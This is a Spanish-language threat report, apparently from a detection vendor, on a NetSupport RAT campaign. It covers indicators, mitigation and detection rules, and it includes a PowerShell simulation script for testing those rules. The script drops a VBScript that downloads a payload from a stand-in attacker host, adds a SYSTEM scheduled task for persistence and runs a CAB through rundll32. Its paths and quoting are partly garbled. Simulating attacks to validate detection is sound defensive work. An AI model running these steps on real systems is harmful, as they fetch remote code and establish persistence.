NetSupport RAT Entregado por un Cargador No Identificado
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Se observó una herramienta de acceso remoto previamente no identificada que distribuía un paquete malicioso de NetSupport Manager RAT. El malware inicial se comunicaba con un servidor de comando y control en 89.110.110.119 a través del puerto TCP 443 usando tráfico codificado. La campaña, rastreada como SmartApeSG ClickFix, se basó en scripts maliciosos y un archivo CAB para instalar el NetSupport RAT en los sistemas victimizados.
Investigación
La investigación descubrió múltiples indicadores, incluyendo URLs maliciosas, direcciones IP y archivos escritos en el directorio ProgramData . El RAT inicial entregó un script por lotes que extraía e instalaba el NetSupport RAT desde un archivo CAB llamado setup.cab . Una vez completada la instalación, los archivos de soporte se eliminaron para reducir las huellas visibles de la actividad.
Mitigación
Las organizaciones deben bloquear el tráfico de red hacia las direcciones IP y dominios maliciosos identificados y monitorear la creación de los archivos referenciados bajo ProgramData. Las defensas de los puntos finales deben detectar la ejecución de archivos VBScript y por lotes sospechosos, mientras que el monitoreo de redes debe aplicar controles más estrictos al tráfico codificado sobre el puerto 443.
Respuesta
Los defensores deben alertar sobre los indicadores listados, aislar sistemas afectados y realizar análisis forense para descubrir cualquier mecanismo de persistencia. Los archivos maliciosos deben ser eliminados, cualquier cambio no autorizado debe ser revertido y las políticas de firewall deben actualizarse para bloquear la comunicación saliente con la infraestructura de comando y control identificada.
Flujo de Ataque
Detecciones
LOLBAS WScript / CScript (vía process_creation)
Ver
Posible Ejecución de Binario de NetSupport Manager desde Directorio Sospechoso Intento (vía process_creation)
Ver
Comando y Control Sospechoso por Solicitud de DNS de Dominio de Nivel Superior (TLD) Inusual (vía dns)
Ver
IOCs (HashSha256) para detectar: RAT no identificado propaga NetSupport RAT
Ver
IOCs (SourceIP) para detectar: RAT no identificado propaga NetSupport RAT
Ver
IOCs (DestinationIP) para detectar: RAT no identificado propaga NetSupport RAT
Ver
Detección de Infección de NetSupport RAT a través de Archivos CAB y Script [Evento de Archivo de Windows]
Ver
Detección de Comunicación Inicial y de NetSupport RAT C2 [Conexión de Red de Windows]
Ver
Ejecución de Simulación
Prerequisito: El Verificación Previa de Telemetría y Línea de Base debe haber pasado.
Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para desencadenar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa y Comandos de Ataque:
Un atacante que ha ganado acceso inicial en un host Windows deja caer tres artefactos maliciosos enC:ProgramData:processor.vbs– un script de Visual Basic que descarga el binario principal del RAT.token.bat– un archivo por lotes que crea una tarea programada para persistencia.setup.cab– un archivo CAB que contiene un DLL dejado enC:ProgramDatay más tarde cargado a través derundll32.exe.
El atacante después ejecuta cada archivo por turno, causando eventos de creación de procesos que contienen las rutas de archivos exactas requeridas por la regla Sigma.
-
Script de Prueba de Regresión:
# netSupport_RAT_simulation.ps1 # ------------------------------------------------- # PROPÓSITO: Reproducir la telemetría de infección de NetSupport RAT # ------------------------------------------------- $targetDir = "C:ProgramData" # Asegúrese de que el directorio exista if (-Not (Test-Path $targetDir)) { New-Item -ItemType Directory -Path $targetDir -Force } # 1. Dejar processor.vbs $vbsPath = Join-Path $targetDir "processor.vbs" Set-Content -Path $vbsPath -Value @" Set objXML = CreateObject("MSXML2.XMLHTTP") objXML.open "GET","http://malicious.example.com/payload.exe",False objXML.send "@" # 2. Dejar token.bat $batPath = Join-Path $targetDir "token.bat" Set-Content -Path $batPath -Value @" schtasks /create /tn "NetSupportPersist" /tr "$targetDirsetup.cab" /sc onlogon /ru System "@ # 3. Dejar setup.cab (CAB ficticio que contiene un archivo de texto) $cabPath = Join-Path $targetDir "setup.cab" $tempDir = "$env:TEMPcab_temp" New-Item -ItemType Directory -Path $tempDir -Force | Out-Null Set-Content -Path "$tempDirdummy.txt" -Value "placehholder" # Crear un CAB – requiere makecab (herramienta incorporada de Windows) & makecab.exe "$tempDirdummy.txt" $cabPath # Fase de Ejecución – desencadenar las detecciones Write-Host "`n[+] Ejecutando processor.vbs" cscript.exe //B //Nologo $vbsPath Write-Host "[+] Ejecutando token.bat" cmd.exe /c $batPath Write-Host "[+] Ejecutando setup.cab a través de rundll32 (carga simulada)" rundll32.exe "$cabPath",DummyEntryPoint # Limpiar carpeta temporal utilizada para la creación del CAB Remove-Item -Recurse -Force $tempDir -
Comandos de Limpieza:
# netSupport_RAT_cleanup.ps1 $targetDir = "C:ProgramData" $files = @("processor.vbs","token.bat","setup.cab") foreach ($f in $files) { $fullPath = Join-Path $targetDir $f if (Test-Path $fullPath) { Remove-Item -Force $fullPath } } # Eliminar la tarea programada creada por token.bat schtasks /delete /tn "NetSupportPersist" /f Write-Host "Limpieza completa."